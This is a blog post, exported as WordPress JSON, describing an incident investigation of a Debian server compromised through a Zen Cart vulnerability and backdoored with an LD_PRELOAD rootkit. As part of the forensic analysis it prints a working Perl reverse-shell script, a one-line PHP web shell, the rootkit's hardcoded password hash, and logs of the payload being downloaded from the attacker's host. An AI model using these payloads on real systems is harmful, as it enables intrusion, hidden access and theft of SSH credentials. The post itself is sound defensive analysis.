{"id":732,"date":"2009-08-21T14:59:30","date_gmt":"2009-08-21T11:59:30","guid":{"rendered":"http:\/\/www.void.gr\/kargig\/blog\/?p=732"},"modified":"2009-10-06T22:04:36","modified_gmt":"2009-10-06T19:04:36","slug":"theres-a-rootkit-in-the-closet","status":"publish","type":"post","link":"https:\/\/www.void.gr\/kargig\/blog\/2009\/08\/21\/theres-a-rootkit-in-the-closet\/","title":{"rendered":"There&#8217;s a rootkit in the closet!"},"content":{"rendered":"<p><em><strong>Part 1: Finding the rootkit<\/strong><\/em><\/p>\n<p>It&#8217;s monday morning and I am for coffee in downtown <a href=\"http:\/\/en.wikipedia.org\/wiki\/Thessaloniki\">Thessaloniki<\/a>, a partner calls:<br \/>\n&#8211; On machine XXX mysqld is not starting since Saturday.<br \/>\n&#8211; Can I drink my coffee and come over later to check it ? Is it critical ?<br \/>\n&#8211; Nope, come over anytime you can&#8230;<\/p>\n<p>Around 14:00 I go over to his company to check on the box. It&#8217;s a debian oldstable (etch) that runs apache2 with xoops CMS + zencart (version unknown), postfix, courier-imap(s)\/pop3(s), bind9 and mysqld. You can call it a LAMP machine with a neglected CMS which is also running as a mailserver&#8230;<\/p>\n<p>I log in as root, I do a <em>ps ax<\/em> and the first thing I notice is apache having more than 50 threads running. I shut apache2 down via <em>\/etc\/init.d\/apache2 stop<\/em>. Then I start poking at mysqld. I can&#8217;t see it running on ps so I try starting it via the init.d script. Nothing&#8230;it hangs while trying to get it started. I suspect a failing disk so I use <em>tune2fs -C 50 \/dev\/hda1<\/em> to force an e2fck on boot and I reboot the machine. The box starts booting, it checks the fs, no errors found, it continues and hangs at starting mysqld. I break out of the process and am back at login screen. I check the S.M.A.R.T. status of the disk via <em>smartctl -a \/dev\/hda<\/em>, all clear, no errors found. Then I try to start mysqld manually, it looks like it starts but when I try to connect to it via a mysql client I get no response. I try to move <em>\/var\/lib\/mysql\/<\/em> files to another location and to re-init the mysql database. Trying to start mysqld after all that, still nothing.<\/p>\n<p>Then I try to downgrade mysql to the previous version. Apt-get process tries to stop mysqld before it replaces it with the older version and it hangs, I try to break out of the process but it&#8217;s impossible&#8230;after a few <em>killall -9 mysqld_safe;killall -9 mysql; killall -9 mysqladmin<\/em> it finally moves on but when it tries to start the downgraded mysqld version it hangs once again. That&#8217;s totally weird&#8230;<\/p>\n<p>I try to <em>ldd \/usr\/sbin\/mysqld<\/em> and I notice a very strange library named <strong>\/lib\/ld-linuxv.so.1<\/strong> in the output. I had never heard of that library name before so I google. Nothing comes up. I check on another debian etch box I have for the output of ldd \/usr\/sbin\/mysqld and no library \/lib\/ld-linuxv.so.1 comes up. I am definitely watching something that it shouldn&#8217;t be there. And that&#8217;s a <strong>rootkit<\/strong>!<\/p>\n<p>I ask some friends online but nobody has ever faced that library rootkit before. I try to find that file on the box but it&#8217;s nowhere to be seen inside \/lib\/&#8230;the rootkit hides itself pretty well. I can&#8217;t see it with <em>ls \/lib<\/em> or <em>echo \/lib\/*<\/em>. The rootkit has probably patched the kernel functions that allow me to see it. Strangely though I was able to see it with ldd (more about the technical stuff on the second half of the post). I try to check on some other executables in \/sbin with a <em>for i in \/usr\/sbin\/*;do ldd $i; done<\/em>, all of them appear to have \/lib\/ld-linuxv.so.1 as a library dependency. I try to reboot the box with another kernel than the one it&#8217;s currently using but I get strange errors that it can&#8217;t even find the hard disk.<\/p>\n<p>I try to downgrade the &#8220;working&#8221; kernel in an attempt of booting the box cleanly without the rootkit. I first take backups of the kernel and initramfs which are about to be replaced of course. When apt-get procedure calls mkinitramfs in order to create the initramfs image I notice that there are errors saying that it can&#8217;t delete <em>\/tmp\/mkinitramfs_UVWXYZ\/lib\/ld-linuxv.so.1<\/em> file, so rm fails and that makes mkinitramfs fail as well.<\/p>\n<p>I decide that I am doing more harm than good to the machine at the time and that I should first get an image of the disk before I fiddle any more with it. So I shut the box down. I set up a new box with most of the services that should be running (mail + dns), so I had the option to check on the disk with the rootkit on my own time.<\/p>\n<p><em><strong>Part 2: Technical analysis<\/strong><\/em><br \/>\n<strong>I. First look at the ld-linuxv.so.1 library<\/strong><\/p>\n<p>A couple of days later I put the disk to my box and made an image of each partition using dd:<br \/>\n<code>dd if=\/dev\/sdb1 of=\/mnt\/image\/part1 bs=64k<\/code><\/p>\n<p>Then I could mount the image using loop to play with it:<br \/>\n<code>mount -o loop \/mnt\/image\/part1 \/mnt\/part1<\/code><\/p>\n<p>A simple ls of \/mnt\/part1\/lib\/ revealed that ld-linuxv.so.1 was there. I run strings to it:<br \/>\n<code># strings \/lib\/ld-linuxv.so.1<br \/>\n__gmon_start__<br \/>\n_init<br \/>\n_fini<br \/>\n__cxa_finalize<br \/>\n_Jv_RegisterClasses<br \/>\nexecve<br \/>\ndlsym<br \/>\nfopen<br \/>\nfprintf<br \/>\nfclose<br \/>\nputs<br \/>\nsystem<br \/>\ncrypt<br \/>\nstrdup<br \/>\nreaddir64<br \/>\nstrstr<br \/>\n__xstat64<br \/>\n__errno_location<br \/>\n__lxstat64<br \/>\nopendir<br \/>\nlogin<br \/>\npututline<br \/>\nopen64<br \/>\npam_open_session<br \/>\npam_close_session<br \/>\nsyslog<br \/>\nvasprintf<br \/>\ngetspnam_r<br \/>\ngetspnam<br \/>\ngetpwnam<br \/>\npam_authenticate<br \/>\ninssh<br \/>\ngotpass<br \/>\n__libc_start_main<br \/>\nlogit<br \/>\nsetuid<br \/>\nsetgid<br \/>\nseteuid<br \/>\nsetegid<br \/>\nread<br \/>\nfwrite<br \/>\naccept<br \/>\nhtons<br \/>\ndoshell<br \/>\ndoconnect<br \/>\nfork<br \/>\ndup2<br \/>\nstdout<br \/>\nfflush<br \/>\nstdin<br \/>\nfscanf<br \/>\nsleep<br \/>\nexit<br \/>\nwaitpid<br \/>\nsocket<br \/>\nlibdl.so.2<br \/>\nlibc.so.6<br \/>\n_edata<br \/>\n__bss_start<br \/>\n_end<br \/>\nGLIBC_2.0<br \/>\nGLIBC_2.1.3<br \/>\nGLIBC_2.1<br \/>\nroot<br \/>\n@^_]<br \/>\n`^_]<br \/>\nld.so.preload<br \/>\nld-linuxv.so.1<br \/>\n_so_cache<br \/>\nexecve<br \/>\n\/var\/opt\/_so_cache\/ld<br \/>\n%s:%s<br \/>\nWelcome master<br \/>\ncrypt<br \/>\nreaddir64<br \/>\n__xstat64<br \/>\n__lxstat64<br \/>\nopendir<br \/>\nlogin<br \/>\npututline<br \/>\nopen64<br \/>\nlastlog<br \/>\npam_open_session<br \/>\npam_close_session<br \/>\nsyslog<br \/>\ngetspnam_r<br \/>\n$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0<br \/>\ngetspnam<br \/>\ngetpwnam<br \/>\nroot<br \/>\n\/dev\/null<br \/>\nnormal<br \/>\npam_authenticate<br \/>\npam_get_item<br \/>\nPassword:<br \/>\n__libc_start_main<br \/>\n\/var\/opt\/_so_cache\/lc<br \/>\nlocal<br \/>\n\/usr\/sbin\/sshd<br \/>\n\/bin\/sh<br \/>\nread<br \/>\nwrite<br \/>\naccept<br \/>\n\/usr\/sbin\/crond<br \/>\nHISTFILE=\/dev\/null<br \/>\n%99s<br \/>\n$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0<br \/>\n\/bin\/sh<\/code><\/p>\n<p>As one can easily see there&#8217;s some sort of password hash inside and references to \/usr\/sbin\/sshd, \/bin\/sh and setting HISTFILE to \/dev\/null.<\/p>\n<p>I took the disk image to my friend <a href=\"http:\/\/www.advogato.org\/person\/argp\/\">argp<\/a> to help me figure out what exactly the rootkit does and how it was planted to the box.<\/p>\n<p><strong>II. What the rootkit does<\/strong><\/p>\n<p>Initially, while casually discussing the incident, kargig and myself (argp) we thought that we had to do with a kernel rootkit. However, after carefully studying the disassembled dead listing of ld-linuxv.so.1, it became clear that it was a shared library based rootkit. Specifically, the intruder created the \/etc\/ld.so.preload file on the system with just one entry; the path of where he saved the ld-linuxv.so.1 shared library, namely \/lib\/ld-linuxv.so.1. This has the effect of preloading ld-linuxv.so.1 every single time a dynamically linked executable is run by a user. Using the well-known technique of <strong>dlsym(RTLD_NEXT, symbol)<\/strong>, in which the run-time address of the symbol after the current library is returned to allow the creation of wrappers, the ld-linuxv.so.1 shared library trojans (or hijacks) several functions. Below is a list of some of the functions the shared library hijacks and brief explanations of what some of them do:<br \/>\n<code>crypt<br \/>\nreaddir64<br \/>\n__xstat64<br \/>\n__l xstat64<br \/>\nopendir<br \/>\nlogin<br \/>\npututline<br \/>\nopen64<br \/>\npam_open_session<br \/>\npam_close_session<br \/>\nsyslog<br \/>\ngetspnam_r<br \/>\ngetspnam<br \/>\ngetpwnam<br \/>\npam_authenticate<br \/>\npam_get_item<br \/>\n__libc_start_main<br \/>\nread<br \/>\nwrite<br \/>\naccept<\/code><\/p>\n<p>The hijacked accept() function sends a reverse, i.e. outgoing, shell to the IP address that initiated the incoming connection at port 80 only if the incoming IP address is a specific one. Afterwards it calls the original accept() system call. The hijacked getspnam() function sets the encrypted password entry of the shadow password structure (struct spwd->sp_pwdp) to a predefined hardcoded value (&#8220;$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0&#8221;). The hijacked read() and write() functions of the shared library wrap the corresponding system calls and if the current process is ssh (client or daemon), their buffers are appended to the file <strong>\/var\/opt\/_so_cache\/lc <\/strong> for outgoing ssh connections, or to <strong>\/var\/opt\/_so_cache\/ld<\/strong> for incoming ones (sshd). These files are also kept hidden using the same approach as described above.<\/p>\n<p><strong>III. How the rootkit was planted in the box<\/strong><\/p>\n<p>While argp was looking at the objdump output, I decided to take a look at the logs of the server. The first place I looked was the apache2 logs. Opening \/mnt\/part1\/var\/log\/apache2\/access.log.* didn&#8217;t provide any outcome at first sight, nothing really striking out, but when I opened \/mnt\/part1\/var\/log\/apache2\/error.log.1 I faced these entries at the bottom:<\/p>\n<blockquote><p>&#8211;01:05:38&#8211;  http:\/\/ABCDEFGHIJ.150m.com\/foobar.ext<br \/>\n=&gt; `foobar.ext&#8217;<br \/>\nResolving ABCDEFGHIJ.150m.com&#8230; 209.63.57.10<br \/>\nConnecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80&#8230; connected.<br \/>\nHTTP request sent, awaiting response&#8230; 200 OK<br \/>\nLength: 695 [text\/plain]<br \/>\nfoobar.ext: Permission denied<\/p>\n<p>Cannot write to `foobar.ext&#8217; (Permission denied).<br \/>\n&#8211;01:05:51&#8211;  http:\/\/ABCDEFGHIJ.150m.com\/foobar.ext<br \/>\n=&gt; `foobar.ext&#8217;<br \/>\nResolving ABCDEFGHIJ.150m.com&#8230; 209.63.57.10<br \/>\nConnecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80&#8230; connected.<br \/>\nHTTP request sent, awaiting response&#8230; 200 OK<br \/>\nLength: 695 [text\/plain]<\/p>\n<p>0K                                                       100%   18.61 MB\/s<\/p>\n<p>01:05:51 (18.61 MB\/s) &#8211; `foobar.ext&#8217; saved [695\/695]<\/p>\n<p>&#8211;01:17:14&#8211;  http:\/\/ABCDEFGHIJ.150m.com\/foobar.ext<br \/>\n=&gt; `foobar.ext&#8217;<br \/>\nResolving ABCDEFGHIJ.150m.com&#8230; 209.63.57.10<br \/>\nConnecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80&#8230; connected.<br \/>\nHTTP request sent, awaiting response&#8230; 200 OK<br \/>\nLength: 695 [text\/plain]<br \/>\nfoobar.ext: Permission denied<\/p>\n<p>Cannot write to `foobar.ext&#8217; (Permission denied).<br \/>\n&#8211;01:17:26&#8211;  http:\/\/ABCDEFGHIJ.150m.com\/foobar.ext<br \/>\n=&gt; `foobar.ext&#8217;<br \/>\nResolving ABCDEFGHIJ.150m.com&#8230; 209.63.57.10<br \/>\nConnecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80&#8230; connected.<br \/>\nHTTP request sent, awaiting response&#8230; 200 OK<br \/>\nLength: 695 [text\/plain]<\/p>\n<p>0K                                                       100%   25.30 MB\/s<\/p>\n<p>01:17:26 (25.30 MB\/s) &#8211; `foobar.ext&#8217; saved [695\/695]<\/p><\/blockquote>\n<p>So this was the entrance point. Someone got through a web app to the box and was able to run code.<br \/>\nI downloaded &#8220;foobar.ext&#8221; from the same url and it was a perl script.<\/p>\n<blockquote><p>#!\/usr\/bin\/perl<br \/>\n# Data Cha0s Perl Connect Back Backdoor Unpublished\/Unreleased Source<br \/>\n# Code<\/p>\n<p>use Socket;<\/p>\n<p>print &#8220;[*] Dumping Arguments\\n&#8221;;<\/p>\n<p>$host = &#8220;A.B.C.D&#8221;;<br \/>\n$port = XYZ;<\/p>\n<p>if ($ARGV[1]) {<br \/>\n$port = $ARGV[1];<br \/>\n}<br \/>\nprint &#8220;[*] Connecting&#8230;\\n&#8221;; $proto = getprotobyname(&#8216;tcp&#8217;) || die(&#8220;[-] Unknown Protocol\\n&#8221;);<\/p>\n<p>socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die (&#8220;[-] Socket Error\\n&#8221;);<\/p>\n<p>my $target = inet_aton($host);<\/p>\n<p>if (!connect(SERVER, pack &#8220;SnA4x8&#8221;, 2, $port, $target)) {<br \/>\ndie(&#8220;[-] Unable to Connect\\n&#8221;);<br \/>\n}<br \/>\nprint &#8220;[*] Spawning Shell\\n&#8221;;<\/p>\n<p>if (!fork( )) {<br \/>\nopen(STDIN,&#8221;&gt;&amp;SERVER&#8221;);<br \/>\nopen(STDOUT,&#8221;&gt;&amp;SERVER&#8221;);<br \/>\nopen(STDERR,&#8221;&gt;&amp;SERVER&#8221;);<br \/>\nexec {&#8216;\/bin\/sh&#8217;} &#8216;-bash&#8217; . &#8220;\\0&#8221; x 4;<br \/>\nexit(0);<br \/>\n}<\/p><\/blockquote>\n<p>Since I got the time when foobar.ext was downloaded I looked again at the apache2 access.log to see what was going on at the time.<br \/>\nHere are some entries:<\/p>\n<blockquote><p>A.B.C.D &#8211; &#8211; [15\/Aug\/2009:01:05:33 +0300] &#8220;GET http:\/\/www.domain.com\/admin\/ HTTP\/1.1&#8221; 302 &#8211; &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br \/>\nA.B.C.D &#8211; &#8211; [15\/Aug\/2009:01:05:34 +0300] &#8220;POST http:\/\/www.domain.com\/admin\/record_company.php\/password_forgotten.php?action=insert HTTP\/1.1&#8221; 200 303 &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br \/>\nA.B.C.D &#8211; &#8211; [15\/Aug\/2009:01:05:34 +0300] &#8220;GET http:\/\/www.domain.com\/images\/imagedisplay.php HTTP\/1.1&#8221; 200 131 &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br \/>\nA.B.C.D &#8211; &#8211; [15\/Aug\/2009:01:05:38 +0300] &#8220;GET http:\/\/www.domain.com\/images\/imagedisplay.php HTTP\/1.1&#8221; 200 &#8211; &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br \/>\nA.B.C.D &#8211; &#8211; [15\/Aug\/2009:01:05:47 +0300] &#8220;GET http:\/\/www.domain.com\/images\/imagedisplay.php HTTP\/1.1&#8221; 200 52 &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br \/>\nA.B.C.D &#8211; &#8211; [15\/Aug\/2009:01:05:50 +0300] &#8220;GET http:\/\/www.domain.com\/images\/imagedisplay.php HTTP\/1.1&#8221; 200 &#8211; &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<br \/>\nA.B.C.D &#8211; &#8211; [15\/Aug\/2009:01:05:51 +0300] &#8220;GET http:\/\/www.domain.com\/images\/imagedisplay.php HTTP\/1.1&#8221; 200 59 &#8220;-&#8221; &#8220;Mozilla Firefox&#8221;<\/p><\/blockquote>\n<p>The second entry, with the POST looks pretty strange. I opened the admin\/record_company.php file and discovered that it is part of <a href=\"http:\/\/www.zen-cart.com\/\">zen-cart<\/a>. The first result of googling for &#8220;<a href=\"http:\/\/www.google.gr\/search?q=zencart+record_company\">zencart record_company<\/a>&#8221; is this: <a href=\"http:\/\/www.securityfocus.com\/bid\/35467\">Zen Cart &#8216;record_company.php&#8217; Remote Code Execution Vulnerability<\/a>.  So that&#8217;s exactly how they were able to run code as the apache2 user.<\/p>\n<p>Opening images\/imagedisplay.php shows the following code:<br \/>\n<code>&lt;?php system($_SERVER[\"HTTP_SHELL\"]); ?&gt;<\/code><br \/>\nThis code allows running commands using the account of the user running the apache2 server.<\/p>\n<p><em><strong>Part 3: Conclusion and food for thought<\/strong><\/em><br \/>\n<strong>To conclude on what happened:<\/strong><br \/>\n1) The attacker used the <strong>zencart<\/strong> vulnerability to create the <strong>imagedisplay.php<\/strong> file.<br \/>\n2) Using the imagedisplay.php file he was able to make the server download <strong>foobar.ext<\/strong> from his server.<br \/>\n3) Using the imagedisplay.php file he was able to run the server run foobar.ext which is a <strong>reverse shell<\/strong>. He could now connect to the machine.<br \/>\n4) Using some <strong>local exploit<\/strong>(s) he was probably able to become root.<br \/>\n5) Since he was root he uploaded\/compiled <strong>ld-linuxv.so.1<\/strong> and he created <strong>\/etc\/ld.so.preload<\/strong>. Now every executable would first load this &#8220;trojaned&#8221; library which allows him backdoor access to the box and is hidding from the system. So there is his rootkit \ud83d\ude42<\/p>\n<p>Fortunately the rootkit had problems and if \/var\/opt\/_so_cache\/ directory was not manually created it couldn&#8217;t write the lc and ld files inside it. If you created the _so_cache dir then it started logging.<\/p>\n<p>If there are any more discoveries about the rootkit they will be posted in a new post. If someone else wants to analyze the rootkit I would be more than happy if he\/she put a link to the analysis as a comment on this blog.<\/p>\n<p><em><strong>Part 4: Files<\/strong><\/em><\/p>\n<p>In the following tar.gz you will find the ld-linuxv.so.1 library and the perl script foobar.ext (Use at your own risk. Attacker&#8217;s host\/ip have been removed from the perl script):<strong><a href='http:\/\/www.void.gr\/kargig\/blog\/wp-content\/linuxv-rootkit.tar.gz'>linuxv-rootkit.tar.gz<\/a><\/strong><\/p>\n<p><strong>Many many thanks<\/strong> to <a href=\"mailto:argp[at]census-labs[dot]com\">argp<\/a> of <a href=\"http:\/\/census-labs.com\/\">Census Labs<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Part 1: Finding the rootkit It&#8217;s monday morning and I am for coffee in downtown Thessaloniki, a partner calls: &#8211; On machine XXX mysqld is not starting since Saturday. &#8211; Can I drink my coffee and come over later to check it ? Is it critical ? &#8211; Nope, come over anytime you can&#8230; Around [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ep_exclude_from_search":false,"footnotes":""},"categories":[3],"tags":[182,186,33,175,180,184,183,595,48,179,176,206,181,185,178,177],"class_list":["post-732","post","type-post","status-publish","format-standard","hentry","category-linux","tag-apache2","tag-audit","tag-debian","tag-etch","tag-exploit","tag-ld-linuxv","tag-ld-linuxv-so-1","tag-linux","tag-perl","tag-record_company","tag-rootkit","tag-security","tag-trojan","tag-vulnerability","tag-zen-cart","tag-zencart"],"aioseo_notices":[],"views":139800,"_links":{"self":[{"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/posts\/732","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/comments?post=732"}],"version-history":[{"count":39,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/posts\/732\/revisions"}],"predecessor-version":[{"id":873,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/posts\/732\/revisions\/873"}],"wp:attachment":[{"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/media?parent=732"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/categories?post=732"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.void.gr\/kargig\/blog\/wp-json\/wp\/v2\/tags?post=732"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}